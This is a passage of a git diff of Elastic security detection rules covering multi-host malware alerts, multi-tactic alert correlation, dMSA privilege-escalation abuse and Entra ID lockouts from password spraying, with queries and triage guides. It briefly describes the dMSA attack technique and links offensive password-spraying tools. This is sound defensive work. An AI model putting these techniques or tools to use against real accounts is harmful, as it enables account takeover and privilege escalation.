widespread malware infection.", - "from": "now-9m", - "language": "esql", - "license": "Elastic License v2", - "name": "Potential Widespread Malware Infection Across Multiple Hosts", - "query": "from logs-endpoint.alerts-*\n| where event.code in (\"malicious_file\", \"memory_signature\", \"shellcode_thread\") and rule.name is not null\n| keep host.id, rule.name, event.code\n| stats hosts = count_distinct(host.id) by rule.name, event.code\n| where hosts >= 3\n", - "references": [ - "https://github.com/elastic/protections-artifacts/tree/main/yara/rules" - ], - "risk_score": 73, - "rule_id": "28371aa1-14ed-46cf-ab5b-2fc7d1942278", - "severity": "high", - "tags": [ - "Domain: Endpoint", - "Data Source: Elastic Defend", - "Use Case: Threat Detection", - "Tactic: Execution", - "Rule Type: Higher-Order Rule" - ], - "threat": [ - { - "framework": "MITRE ATT&CK", - "tactic": { - "id": "TA0002", - "name": "Execution", - "reference": "https://attack.mitre.org/tactics/TA0002/" - }, - "technique": [ - { - "id": "T1204", - "name": "User Execution", - "reference": "https://attack.mitre.org/techniques/T1204/", - "subtechnique": [ - { - "id": "T1204.002", - "name": "Malicious File", - "reference": "https://attack.mitre.org/techniques/T1204/002/" - } - ] - } - ] - } - ], - "timestamp_override": "event.ingested", - "type": "esql", - "version": 2 - }, - "id": "28371aa1-14ed-46cf-ab5b-2fc7d1942278_2", - "type": "security-rule" -} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/29531d20-0e80-41d4-9ec6-d6b58e4a475c_1.json b/packages/security_detection_engine/kibana/security_rule/29531d20-0e80-41d4-9ec6-d6b58e4a475c_1.json new file mode 100644 index 00000000000..19cacbbf4a1 --- /dev/null +++ b/packages/security_detection_engine/kibana/security_rule/29531d20-0e80-41d4-9ec6-d6b58e4a475c_1.json @@ -0,0 +1,85 @@ +{ + "attributes": { + "author": [ + "Elastic" + ], + "description": "This rule uses alert data to determine when multiple alerts in different phases of an attack involving the same host are triggered and where the accumulated risk score is higher than a defined threshold. Analysts can use this to prioritize triage and response, as these hosts are more likely to be compromised.", + "from": "now-8h", + "interval": "1h", + "language": "esql", + "license": "Elastic License v2", + "name": "Alerts in Different ATT&CK Tactics by Host", + "note": "## Triage and analysis\n\n> **Disclaimer**:\n> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.\n\n### Investigating Alerts in Different ATT&CK Tactics by Host\n\nThe detection rule identifies hosts with alerts across various attack phases, indicating potential compromise. Adversaries exploit system vulnerabilities, moving through different tactics like execution, persistence, and exfiltration. This rule prioritizes hosts with diverse tactic alerts, aiding analysts in focusing on high-risk threats by correlating alert data to detect complex attack patterns.\n\n### Possible investigation steps\n\n- Review the alert details to identify the specific host involved and the different ATT&CK tactics that triggered the alerts.\n- Examine the timeline of the alerts to understand the sequence of events and determine if there is a pattern or progression in the tactics used.\n- Correlate the alert data with other logs and telemetry from the host, such as process creation, network connections, and file modifications, to gather additional context.\n- Investigate any known vulnerabilities or misconfigurations on the host that could have been exploited by the adversary.\n- Check for any indicators of compromise (IOCs) associated with the alerts, such as suspicious IP addresses, domains, or file hashes, and search for these across the network.\n- Assess the impact and scope of the potential compromise by determining if other hosts or systems have similar alerts or related activity.\n\n### False positive analysis\n\n- Alerts from routine administrative tasks may trigger multiple tactics. Review and exclude known benign activities such as scheduled software updates or system maintenance.\n- Security tools running on the host might generate alerts across different tactics. Identify and exclude alerts from trusted security applications to reduce noise.\n- Automated scripts or batch processes can mimic adversarial behavior. Analyze and whitelist these processes if they are verified as non-threatening.\n- Frequent alerts from development or testing environments can be misleading. Consider excluding these environments from the rule or applying a different risk score.\n- User behavior anomalies, such as accessing multiple systems or applications, might trigger alerts. Implement user behavior baselines to differentiate between normal and suspicious activities.\n\n### Response and remediation\n\n- Isolate the affected host from the network immediately to prevent further lateral movement by the adversary.\n- Conduct a thorough forensic analysis of the host to identify the specific vulnerabilities exploited and gather evidence of the attack phases involved.\n- Remove any identified malicious software or unauthorized access tools from the host, ensuring all persistence mechanisms are eradicated.\n- Apply security patches and updates to the host to address any exploited vulnerabilities and prevent similar attacks.\n- Restore the host from a known good backup if necessary, ensuring that the backup is free from compromise.\n- Monitor the host and network for any signs of re-infection or further suspicious activity, using enhanced logging and alerting based on the identified attack patterns.\n- Escalate the incident to the appropriate internal or external cybersecurity teams for further investigation and potential legal action if the attack is part of a larger campaign.", + "query": "from .alerts-security.* metadata _id\n\n// filter for alerts with populated risk score, excluding threat_match rules, deprecated and some other noisy ones.\n| where kibana.alert.risk_score > 0 and\n kibana.alert.rule.name IS NOT NULL and\n host.id is not null and event.dataset is not null and\n kibana.alert.rule.type != \"threat_match\" and\n not kibana.alert.rule.name in (\"Agent Spoofing - Mismatched Agent ID\") and\n not kibana.alert.rule.name like \"Deprecated - *\"\n\n// extract unique counts and values by host.id\n| stats Esql.alerts_count = COUNT(*),\n Esql.kibana_alert_rule_name_distinct_count = COUNT_DISTINCT(kibana.alert.rule.name),\n Esql.event_module_distinct_count = COUNT_DISTINCT(event.module),\n Esql.event_module_values = VALUES(event.module),\n Esql.kibana_alert_rule_name_values = VALUES(kibana.alert.rule.name),\n Esql.threat_tactic_id_distinct_count = COUNT_DISTINCT(kibana.alert.rule.threat.tactic.id),\n Esql.threat_tactic_name_values = VALUES(kibana.alert.rule.threat.tactic.name),\n Esql.kibana_alert_risk_score_sum = sum(kibana.alert.risk_score),\n Esql.process_executable_values = VALUES(process.executable),\n Esql.process_parent_executable_values = VALUES(process.parent.executable),\n Esql.process_command_line_values = VALUES(process.command_line),\n Esql.process_entity_id_distinct_count = COUNT_DISTINCT(process.entity_id) by host.id\n\n// divide the sum of risk scores by the total number of alerts\n| eval Esql.risk_alerts_count_ratio = Esql.kibana_alert_risk_score_sum/Esql.alerts_count\n\n// filter for risky hosts by risk score and unique count of rules and tactics\n| where Esql.kibana_alert_rule_name_distinct_count >= 5 and Esql.threat_tactic_id_distinct_count >= 3 and Esql.threat_tactic_id_distinct_count >= 3 and Esql.alerts_count <= 500 and Esql.risk_alerts_count_ratio >= 50\n\n// fiels populated in the resulting alert\n| keep host.id,\n Esql.alerts_count,\n Esql.kibana_alert_risk_score_sum,\n Esql.risk_alerts_count_ratio,\n Esql.kibana_alert_rule_name_distinct_count,\n Esql.event_module_values,\n Esql.kibana_alert_rule_name_values,\n Esql.threat_tactic_name_values,\n Esql.process_executable_values,\n Esql.process_parent_executable_values,\n Esql.process_command_line_values\n", + "required_fields": [ + { + "ecs": false, + "name": "Esql.alerts_count", + "type": "long" + }, + { + "ecs": false, + "name": "Esql.event_module_values", + "type": "keyword" + }, + { + "ecs": false, + "name": "Esql.kibana_alert_risk_score_sum", + "type": "long" + }, + { + "ecs": false, + "name": "Esql.kibana_alert_rule_name_distinct_count", + "type": "long" + }, + { + "ecs": false, + "name": "Esql.kibana_alert_rule_name_values", + "type": "keyword" + }, + { + "ecs": false, + "name": "Esql.process_command_line_values", + "type": "keyword" + }, + { + "ecs": false, + "name": "Esql.process_executable_values", + "type": "keyword" + }, + { + "ecs": false, + "name": "Esql.process_parent_executable_values", + "type": "keyword" + }, + { + "ecs": false, + "name": "Esql.risk_alerts_count_ratio", + "type": "long" + }, + { + "ecs": false, + "name": "Esql.threat_tactic_name_values", + "type": "keyword" + }, + { + "ecs": true, + "name": "host.id", + "type": "keyword" + } + ], + "risk_score": 73, + "rule_id": "29531d20-0e80-41d4-9ec6-d6b58e4a475c", + "severity": "high", + "tags": [ + "Use Case: Threat Detection", + "Rule Type: Higher-Order Rule", + "Resources: Investigation Guide" + ], + "timestamp_override": "event.ingested", + "type": "esql", + "version": 1 + }, + "id": "29531d20-0e80-41d4-9ec6-d6b58e4a475c_1", + "type": "security-rule" +} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/2c74e26b-dfe3-4644-b62b-d0482f124210_2.json b/packages/security_detection_engine/kibana/security_rule/2c74e26b-dfe3-4644-b62b-d0482f124210_2.json new file mode 100644 index 00000000000..42e406388fa --- /dev/null +++ b/packages/security_detection_engine/kibana/security_rule/2c74e26b-dfe3-4644-b62b-d0482f124210_2.json @@ -0,0 +1,100 @@ +{ + "attributes": { + "author": [ + "Elastic" + ], + "description": "Detects modifications in the msDS-ManagedAccountPrecededByLink attribute of a delegated managed service account by an unusual subject account. Attackers can abuse this attribute to take over the permission of a target account and inherit it's permissions allowing them to further elevate privileges.", + "from": "now-9m", + "history_window_start": "now-10d", + "index": [ + "winlogbeat-*", + "logs-system.security*", + "logs-windows.forwarded*" + ], + "language": "kuery", + "license": "Elastic License v2", + "name": "Delegated Managed Service Account Modification by an Unusual User", + "new_terms_fields": [ + "winlog.event_data.SubjectUserName" + ], + "note": "## Triage and analysis\n\n### Investigating Delegated Managed Service Account Modification by an Unusual User\n\n### Possible investigation steps\n- Examine the winlog.event_data.SubjectUserName field and verify if he is allowed and used to perform this kind of dMSA changes.\n- Examine the winlog.event_data.AttributeValue field to verify the targeted account and if it's supposed to use dMSA.\n- Examine if there are any recent dMSA account creation by the same winlog.event_data.SubjectUserName.\n- Investigate the history of the identified user account to determine if there are any other suspicious activities or patterns of behavior.\n- Collaborate with the IT or security team to determine if the changes were authorized or if further action is needed to secure the environment.\n\n### False positive analysis\n\n- Migration of legacy service accounts using delegated managed service account.\n\n### Response and remediation\n\n- Immediately disable the winlog.event_data.SubjectUserName account and revert all changes performed by that account.\n- Identify and isolate the source machines from where the SubjectUserName is authenticating.\n- Reset passwords for all accounts that were potentially affected or had their permissions altered, focusing on privileged accounts to prevent adversaries from regaining access.\n- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine the scope of the breach, including identifying any other compromised systems or accounts.\n- Review and update access control policies and security configurations to prevent similar attacks, ensuring that only authorized personnel have the ability to modify critical Active Directory objects or create OU child objects.", + "query": "event.code:5136 and host.os.type:\"windows\" and winlog.event_data.AttributeLDAPDisplayName:\"msDS-ManagedAccountPrecededByLink\"\n", + "references": [ + "https://www.akamai.com/blog/security-research/abusing-dmsa-for-privilege-escalation-in-active-directory" + ], + "related_integrations": [ + { + "package": "system", + "version": "^2.0.0" + }, + { + "package": "windows", + "version": "^3.0.0" + } + ], + "required_fields": [ + { + "ecs": true, + "name": "event.code", + "type": "keyword" + }, + { + "ecs": true, + "name": "host.os.type", + "type": "keyword" + }, + { + "ecs": false, + "name": "winlog.event_data.AttributeLDAPDisplayName", + "type": "unknown" + } + ], + "risk_score": 73, + "rule_id": "2c74e26b-dfe3-4644-b62b-d0482f124210", + "severity": "high", + "tags": [ + "Domain: Endpoint", + "OS: Windows", + "Use Case: Threat Detection", + "Tactic: Privilege Escalation", + "Use Case: Active Directory Monitoring", + "Data Source: Active Directory", + "Data Source: Windows Security Event Logs", + "Resources: Investigation Guide" + ], + "threat": [ + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0004", + "name": "Privilege Escalation", + "reference": "https://attack.mitre.org/tactics/TA0004/" + }, + "technique": [ + { + "id": "T1078", + "name": "Valid Accounts", + "reference": "https://attack.mitre.org/techniques/T1078/", + "subtechnique": [ + { + "id": "T1078.002", + "name": "Domain Accounts", + "reference": "https://attack.mitre.org/techniques/T1078/002/" + } + ] + }, + { + "id": "T1098", + "name": "Account Manipulation", + "reference": "https://attack.mitre.org/techniques/T1098/" + } + ] + } + ], + "timestamp_override": "event.ingested", + "type": "new_terms", + "version": 2 + }, + "id": "2c74e26b-dfe3-4644-b62b-d0482f124210_2", + "type": "security-rule" +} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/2d6f5332-42ea-11f0-b09a-f661ea17fbcd_1.json b/packages/security_detection_engine/kibana/security_rule/2d6f5332-42ea-11f0-b09a-f661ea17fbcd_1.json deleted file mode 100644 index fe26bb0d26f..00000000000 --- a/packages/security_detection_engine/kibana/security_rule/2d6f5332-42ea-11f0-b09a-f661ea17fbcd_1.json +++ /dev/null @@ -1,81 +0,0 @@ -{ - "attributes": { - "author": [ - "Elastic" - ], - "description": "Identifies a high count of failed Microsoft Entra ID sign-in attempts as the result of the target user account being locked out. Adversaries may attempt to brute-force user accounts by repeatedly trying to authenticate with incorrect credentials, leading to account lockouts by Entra ID Smart Lockout policies.", - "false_positives": [ - "Automated processes that attempt to authenticate using expired credentials or have misconfigured authentication settings may lead to false positives." - ], - "from": "now-60m", - "interval": "15m", - "language": "esql", - "license": "Elastic License v2", - "name": "Microsoft Entra ID Exccessive Account Lockouts Detected", - "note": "## Triage and analysis\n\n### Investigating Microsoft Entra ID Exccessive Account Lockouts Detected\n\nThis rule detects a high number of sign-in failures due to account lockouts (error code `50053`) in Microsoft Entra ID sign-in logs. These lockouts are typically caused by repeated authentication failures, often as a result of brute-force tactics such as password spraying, credential stuffing, or automated guessing. This detection is time-bucketed and aggregates attempts to identify bursts or coordinated campaigns targeting multiple users.\n\n### Possible investigation steps\n\n- Review `user_id_list` and `user_principal_name`: Check if targeted users include high-value accounts such as administrators, service principals, or shared inboxes.\n- Check `error_codes` and `result_description`: Validate that `50053` (account locked) is the consistent failure type. Messages indicating \"malicious IP\" activity suggest Microsoft\u2019s backend flagged the source.\n- Analyze `ip_list` and `source_orgs`: Identify whether the activity originated from known malicious infrastructure (e.g., VPNs, botnets, or public cloud providers). In the example, traffic originates from `MASSCOM`, which should be validated.\n- Inspect `device_detail_browser` and `user_agent`: Clients like `\"Python Requests\"` indicate scripted automation rather than legitimate login attempts.\n- Evaluate `unique_users` vs. `total_attempts`: A high ratio suggests distributed attacks across multiple accounts, characteristic of password spraying.\n- Correlate `client_app_display_name` and `incoming_token_type`: PowerShell or unattended sign-in clients may be targeted for automation or legacy auth bypass.\n- Review `conditional_access_status` and `risk_state`: If Conditional Access was not applied and risk was not flagged, policy scope or coverage should be reviewed.\n- Validate time range (`first_seen`, `last_seen`): Determine whether the attack is a short burst or part of a longer campaign.\n\n### False positive analysis\n\n- Misconfigured clients, scripts, or services with outdated credentials may inadvertently cause lockouts.\n- Repeated lockouts from known internal IPs or during credential rotation windows could be benign.\n- Legacy applications without modern auth support may repeatedly fail and trigger Smart Lockout.\n- Specific known user agents (e.g., corporate service accounts).\n- Internal IPs or cloud-hosted automation with expected failure behavior.\n\n### Response and remediation\n\n- Investigate locked accounts immediately. Confirm if the account was successfully accessed prior to lockout.\n- Reset credentials for impacted users and enforce MFA before re-enabling accounts.\n- Block malicious IPs or ASN at the firewall, identity provider, or Conditional Access level.\n- Audit authentication methods in use, and enforce modern auth (OAuth, SAML) over legacy protocols.\n- Strengthen Conditional Access policies to reduce exposure from weak locations, apps, or clients.\n- Conduct credential hygiene audits to assess reuse and rotation for targeted accounts.\n", - "query": "FROM logs-azure.signinlogs*\n\n| EVAL\n time_window = DATE_TRUNC(30 minutes, @timestamp),\n user_id = TO_LOWER(azure.signinlogs.properties.user_principal_name),\n ip = source.ip,\n login_error = azure.signinlogs.result_description,\n error_code = azure.signinlogs.properties.status.error_code,\n request_type = TO_LOWER(azure.signinlogs.properties.incoming_token_type),\n app_name = TO_LOWER(azure.signinlogs.properties.app_display_name),\n asn_org = source.`as`.organization.name,\n country = source.geo.country_name,\n user_agent = user_agent.original,\n event_time = @timestamp\n\n| WHERE event.dataset == \"azure.signinlogs\"\n AND event.category == \"authentication\"\n AND azure.signinlogs.category IN (\"NonInteractiveUserSignInLogs\", \"SignInLogs\")\n AND event.outcome == \"failure\"\n AND azure.signinlogs.properties.authentication_requirement == \"singleFactorAuthentication\"\n AND error_code == 50053\n AND user_id IS NOT NULL AND user_id != \"\"\n AND asn_org != \"MICROSOFT-CORP-MSN-AS-BLOCK\"\n\n| STATS\n authentication_requirement = VALUES(azure.signinlogs.properties.authentication_requirement),\n client_app_id = VALUES(azure.signinlogs.properties.app_id),\n client_app_display_name = VALUES(azure.signinlogs.properties.app_display_name),\n target_resource_id = VALUES(azure.signinlogs.properties.resource_id),\n target_resource_display_name = VALUES(azure.signinlogs.properties.resource_display_name),\n conditional_access_status = VALUES(azure.signinlogs.properties.conditional_access_status),\n device_detail_browser = VALUES(azure.signinlogs.properties.device_detail.browser),\n device_detail_device_id = VALUES(azure.signinlogs.properties.device_detail.device_id),\n device_detail_operating_system = VALUES(azure.signinlogs.properties.device_detail.operating_system),\n incoming_token_type = VALUES(azure.signinlogs.properties.incoming_token_type),\n risk_state = VALUES(azure.signinlogs.properties.risk_state),\n session_id = VALUES(azure.signinlogs.properties.session_id),\n user_id = VALUES(azure.signinlogs.properties.user_id),\n user_principal_name = VALUES(azure.signinlogs.properties.user_principal_name),\n result_description = VALUES(azure.signinlogs.result_description),\n result_signature = VALUES(azure.signinlogs.result_signature),\n result_type = VALUES(azure.signinlogs.result_type),\n\n unique_users = COUNT_DISTINCT(user_id),\n user_id_list = VALUES(user_id),\n login_errors = VALUES(login_error),\n unique_login_errors = COUNT_DISTINCT(login_error),\n error_codes = VALUES(error_code),\n unique_error_codes = COUNT_DISTINCT(error_code),\n request_types = VALUES(request_type),\n app_names = VALUES(app_name),\n ip_list = VALUES(ip),\n unique_ips = COUNT_DISTINCT(ip),\n source_orgs = VALUES(asn_org),\n countries = VALUES(country),\n unique_country_count = COUNT_DISTINCT(country),\n unique_asn_orgs = COUNT_DISTINCT(asn_org),\n first_seen = MIN(event_time),\n last_seen = MAX(event_time),\n total_attempts = COUNT()\nBY time_window\n| WHERE unique_users >= 15 AND total_attempts >= 20\n| KEEP\n time_window, total_attempts, first_seen, last_seen,\n unique_users, user_id_list, login_errors, unique_login_errors,\n unique_error_codes, error_codes, request_types, app_names,\n ip_list, unique_ips, source_orgs, countries,\n unique_country_count, unique_asn_orgs,\n authentication_requirement, client_app_id, client_app_display_name,\n target_resource_id, target_resource_display_name, conditional_access_status,\n device_detail_browser, device_detail_device_id, device_detail_operating_system,\n incoming_token_type, risk_state, session_id, user_id,\n user_principal_name, result_description, result_signature, result_type\n", - "references": [ - "https://www.microsoft.com/en-us/security/blog/2025/05/27/new-russia-affiliated-actor-void-blizzard-targets-critical-sectors-for-espionage/", - "https://cloud.hacktricks.xyz/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-password-spraying", - "https://learn.microsoft.com/en-us/security/operations/incident-response-playbook-password-spray", - "https://www.sprocketsecurity.com/blog/exploring-modern-password-spraying", - "https://learn.microsoft.com/en-us/purview/audit-log-detailed-properties", - "https://learn.microsoft.com/en-us/entra/identity-platform/reference-error-codes", - "https://github.com/0xZDH/Omnispray", - "https://github.com/0xZDH/o365spray" - ], - "risk_score": 73, - "rule_id": "2d6f5332-42ea-11f0-b09a-f661ea17fbcd", - "severity": "high", - "tags": [ - "Domain: Cloud", - "Domain: Identity", - "Data Source: Azure", - "Data Source: Entra ID", - "Data Source: Entra ID Sign-in Logs", - "Use Case: Identity and Access Audit", - "Use Case: Threat Detection", - "Tactic: Credential Access", - "Resources: Investigation Guide" - ], - "threat": [ - { - "framework": "MITRE ATT&CK", - "tactic": { - "id": "TA0006", - "name": "Credential Access", - "reference": "https://attack.mitre.org/tactics/TA0006/" - }, - "technique": [ - { - "id": "T1110", - "name": "Brute Force", - "reference": "https://attack.mitre.org/techniques/T1110/", - "subtechnique": [ - { - "id": "T1110.001", - "name": "Password Guessing", - "reference": "https://attack.mitre.org/techniques/T1110/001/" - }, - { - "id": "T1110.003", - "name": "Password Spraying", - "reference": "https://attack.mitre.org/techniques/T1110/003/" - }, - { - "id": "T1110.004", - "name": "Credential Stuffing", - "reference": "https://attack.mitre.org/techniques/T1110/004/" - } - ] - } - ] - } - ], - "timestamp_override": "event.ingested", - "type": "esql", - "version": 1 - }, - "id": "2d6f5332-42ea-11f0-b09a-f661ea17fbcd_1", - "type": "security-rule" -} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/2d6f5332-42ea-11f0-b09a-f661ea17fbcd_6.json b/packages/security_detection_engine/kibana/security_rule/2d6f5332-42ea-11f0-b09a-f661ea17fbcd_6.json new file mode 100644 index 00000000000..616e61791d0 --- /dev/null +++ b/packages/security_detection_engine/kibana/security_rule/2d6f5332-42ea-11f0-b09a-f661ea17fbcd_6.json @@ -0,0 +1,259 @@ +{ + "attributes": { + "author": [ + "Elastic" + ], + "description": "Identifies a high count of failed Microsoft Entra ID sign-in attempts as the result of the target user account being locked out. Adversaries may attempt to brute-force user accounts by repeatedly trying to authenticate with incorrect credentials, leading to account lockouts by Entra ID Smart Lockout policies.", + "false_positives": [ + "Automated processes that attempt to authenticate using expired credentials or have misconfigured authentication settings may lead to false positives." + ], + "from": "now-60m", + "interval": "15m", + "language": "esql", + "license": "Elastic License v2", + "name": "Microsoft Entra ID Exccessive Account Lockouts Detected", + "note": "## Triage and analysis\n\n### Investigating Microsoft Entra ID Exccessive Account Lockouts Detected\n\nThis rule detects a high number of sign-in failures due to account lockouts (error code `50053`) in Microsoft Entra ID sign-in logs. These lockouts are typically caused by repeated authentication failures, often as a result of brute-force tactics such as password spraying, credential stuffing, or automated guessing. This detection is time-bucketed and aggregates attempts to identify bursts or coordinated campaigns targeting multiple users.\n\n### Possible investigation steps\n\n- Review `user_id_list` and `user_principal_name`: Check if targeted users include high-value accounts such as administrators, service principals, or shared inboxes.\n- Check `error_codes` and `result_description`: Validate that `50053` (account locked) is the consistent failure type. Messages indicating \"malicious IP\" activity suggest Microsoft\u2019s backend flagged the source.\n- Analyze `ip_list` and `source_orgs`: Identify whether the activity originated from known malicious infrastructure (e.g., VPNs, botnets, or public cloud providers). In the example, traffic originates from `MASSCOM`, which should be validated.\n- Inspect `device_detail_browser` and `user_agent`: Clients like `\"Python Requests\"` indicate scripted automation rather than legitimate login attempts.\n- Evaluate `unique_users` vs. `total_attempts`: A high ratio suggests distributed attacks across multiple accounts, characteristic of password spraying.\n- Correlate `client_app_display_name` and `incoming_token_type`: PowerShell or unattended sign-in clients may be targeted for automation or legacy auth bypass.\n- Review `conditional_access_status` and `risk_state`: If Conditional Access was not applied and risk was not flagged, policy scope or coverage should be reviewed.\n- Validate time range (`first_seen`, `last_seen`): Determine whether the attack is a short burst or part of a longer campaign.\n\n### False positive analysis\n\n- Misconfigured clients, scripts, or services with outdated credentials may inadvertently cause lockouts.\n- Repeated lockouts from known internal IPs or during credential rotation windows could be benign.\n- Legacy applications without modern auth support may repeatedly fail and trigger Smart Lockout.\n- Specific known user agents (e.g., corporate service accounts).\n- Internal IPs or cloud-hosted automation with expected failure behavior.\n\n### Response and remediation\n\n- Investigate locked accounts immediately. Confirm if the account was successfully accessed prior to lockout.\n- Reset credentials for impacted users and enforce MFA before re-enabling accounts.\n- Block malicious IPs or ASN at the firewall, identity provider, or Conditional Access level.\n- Audit authentication methods in use, and enforce modern auth (OAuth, SAML) over legacy protocols.\n- Strengthen Conditional Access policies to reduce exposure from weak locations, apps, or clients.\n- Conduct credential hygiene audits to assess reuse and rotation for targeted accounts.\n", + "query": "from logs-azure.signinlogs-*\n\n| eval\n Esql.time_window_date_trunc = date_trunc(30 minutes, @timestamp),\n Esql_priv.azure_signinlogs_properties_user_principal_name_lower = to_lower(azure.signinlogs.properties.user_principal_name),\n Esql.azure_signinlogs_properties_incoming_token_type_lower = to_lower(azure.signinlogs.properties.incoming_token_type),\n Esql.azure_signinlogs_properties_app_display_name_lower = to_lower(azure.signinlogs.properties.app_display_name)\n\n| where event.dataset == \"azure.signinlogs\"\n and event.category == \"authentication\"\n and azure.signinlogs.category in (\"NonInteractiveUserSignInLogs\", \"SignInLogs\")\n and event.outcome == \"failure\"\n and azure.signinlogs.properties.authentication_requirement == \"singleFactorAuthentication\"\n and azure.signinlogs.properties.status.error_code == 50053\n and azure.signinlogs.properties.user_principal_name is not null\n and azure.signinlogs.properties.user_principal_name != \"\"\n and source.`as`.organization.name != \"MICROSOFT-CORP-MSN-as-BLOCK\"\n\n| stats\n Esql.azure_signinlogs_properties_authentication_requirement_values = values(azure.signinlogs.properties.authentication_requirement),\n Esql.azure_signinlogs_properties_app_id_values = values(azure.signinlogs.properties.app_id),\n Esql.azure_signinlogs_properties_app_display_name_values = values(azure.signinlogs.properties.app_display_name),\n Esql.azure_signinlogs_properties_resource_id_values = values(azure.signinlogs.properties.resource_id),\n Esql.azure_signinlogs_properties_resource_display_name_values = values(azure.signinlogs.properties.resource_display_name),\n Esql.azure_signinlogs_properties_conditional_access_status_values = values(azure.signinlogs.properties.conditional_access_status),\n Esql.azure_signinlogs_properties_device_detail_browser_values = values(azure.signinlogs.properties.device_detail.browser),\n Esql.azure_signinlogs_properties_device_detail_device_id_values = values(azure.signinlogs.properties.device_detail.device_id),\n Esql.azure_signinlogs_properties_device_detail_operating_system_values = values(azure.signinlogs.properties.device_detail.operating_system),\n Esql.azure_signinlogs_properties_incoming_token_type_values = values(azure.signinlogs.properties.incoming_token_type),\n Esql.azure_signinlogs_properties_risk_state_values = values(azure.signinlogs.properties.risk_state),\n Esql.azure_signinlogs_properties_session_id_values = values(azure.signinlogs.properties.session_id),\n Esql.azure_signinlogs_properties_user_id_values = values(azure.signinlogs.properties.user_id),\n Esql_priv.azure_signinlogs_properties_user_principal_name_values = values(azure.signinlogs.properties.user_principal_name),\n Esql.azure_signinlogs_result_description_values = values(azure.signinlogs.result_description),\n Esql.azure_signinlogs_result_signature_values = values(azure.signinlogs.result_signature),\n Esql.azure_signinlogs_result_type_values = values(azure.signinlogs.result_type),\n\n Esql.azure_signinlogs_properties_user_principal_name_lower_count_distinct = count_distinct(Esql_priv.azure_signinlogs_properties_user_principal_name_lower),\n Esql_priv.azure_signinlogs_properties_user_principal_name_lower_values = values(Esql_priv.azure_signinlogs_properties_user_principal_name_lower),\n Esql.azure_signinlogs_result_description_count_distinct = count_distinct(azure.signinlogs.result_description),\n Esql.azure_signinlogs_properties_status_error_code_count_distinct = count_distinct(azure.signinlogs.properties.status.error_code),\n Esql.azure_signinlogs_properties_status_error_code_values = values(azure.signinlogs.properties.status.error_code),\n Esql.azure_signinlogs_properties_incoming_token_type_lower_values = values(Esql.azure_signinlogs_properties_incoming_token_type_lower),\n Esql.azure_signinlogs_properties_app_display_name_lower_values = values(Esql.azure_signinlogs_properties_app_display_name_lower),\n Esql.source_ip_values = values(source.ip),\n Esql.source_ip_count_distinct = count_distinct(source.ip),\n Esql.source_as_organization_name_values = values(source.`as`.organization.name),\n Esql.source_as_organization_name_count_distinct = count_distinct(source.`as`.organization.name),\n Esql.source_geo_country_name_values = values(source.geo.country_name),\n Esql.source_geo_country_name_count_distinct = count_distinct(source.geo.country_name),\n Esql.@timestamp.min = min(@timestamp),\n Esql.@timestamp.max = max(@timestamp),\n Esql.event_count = count()\nby Esql.time_window_date_trunc\n\n| where Esql.azure_signinlogs_properties_user_principal_name_lower_count_distinct >= 15 and Esql.event_count >= 20\n\n| keep\n Esql.time_window_date_trunc,\n Esql.event_count,\n Esql.@timestamp.min,\n Esql.@timestamp.max,\n Esql.azure_signinlogs_properties_user_principal_name_lower_count_distinct,\n Esql_priv.azure_signinlogs_properties_user_principal_name_lower_values,\n Esql.azure_signinlogs_result_description_count_distinct,\n Esql.azure_signinlogs_result_description_values,\n Esql.azure_signinlogs_properties_status_error_code_count_distinct,\n Esql.azure_signinlogs_properties_status_error_code_values,\n Esql.azure_signinlogs_properties_incoming_token_type_lower_values,\n Esql.azure_signinlogs_properties_app_display_name_lower_values,\n Esql.source_ip_values,\n Esql.source_ip_count_distinct,\n Esql.source_as_organization_name_values,\n Esql.source_as_organization_name_count_distinct,\n Esql.source_geo_country_name_values,\n Esql.source_geo_country_name_count_distinct,\n Esql.azure_signinlogs_properties_authentication_requirement_values,\n Esql.azure_signinlogs_properties_app_id_values,\n Esql.azure_signinlogs_properties_app_display_name_values,\n Esql.azure_signinlogs_properties_resource_id_values,\n Esql.azure_signinlogs_properties_resource_display_name_values,\n Esql.azure_signinlogs_properties_conditional_access_status_values,\n Esql.azure_signinlogs_properties_device_detail_browser_values,\n Esql.azure_signinlogs_properties_device_detail_device_id_values,\n Esql.azure_signinlogs_properties_device_detail_operating_system_values,\n Esql.azure_signinlogs_properties_incoming_token_type_values,\n Esql.azure_signinlogs_properties_risk_state_values,\n Esql.azure_signinlogs_properties_session_id_values,\n Esql.azure_signinlogs_properties_user_id_values,\n Esql_priv.azure_signinlogs_properties_user_principal_name_values,\n Esql.azure_signinlogs_result_description_values,\n Esql.azure_signinlogs_result_signature_values,\n Esql.azure_signinlogs_result_type_values\n", + "references": [ + "https://www.microsoft.com/en-us/security/blog/2025/05/27/new-russia-affiliated-actor-void-blizzard-targets-critical-sectors-for-espionage/", + "https://cloud.hacktricks.xyz/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-password-spraying", + "https://learn.microsoft.com/en-us/security/operations/incident-response-playbook-password-spray", + "https://www.sprocketsecurity.com/blog/exploring-modern-password-spraying", + "https://learn.microsoft.com/en-us/purview/audit-log-detailed-properties", + "https://learn.microsoft.com/en-us/entra/identity-platform/reference-error-codes", + "https://github.com/0xZDH/Omnispray", + "https://github.com/0xZDH/o365spray" + ], + "related_integrations": [ + { + "package": "azure", + "version": "^1.0.0" + } + ], + "required_fields": [ + { + "ecs": false, + "name": "Esql.@timestamp.max", + "type": "date" + }, + { + "ecs": false, + "name": "Esql.@timestamp.min", + "type": "date" + }, + { + "ecs": false, + "name": "Esql.azure_signinlogs_properties_app_display_name_lower_values", + "type": "keyword" + }, + { + "ecs": false, + "name": "Esql.azure_signinlogs_properties_app_display_name_values", + "type": "keyword" + }, + { + "ecs": false, + "name": "Esql.azure_signinlogs_properties_app_id_values", + "type": "keyword" + }, + { + "ecs": false, + "name": "Esql.azure_signinlogs_properties_authentication_requirement_values", + "type": "keyword" + }, + { + "ecs": false, + "name": "Esql.azure_signinlogs_properties_conditional_access_status_values", + "type": "keyword" + }, + { + "ecs": false, + "name": 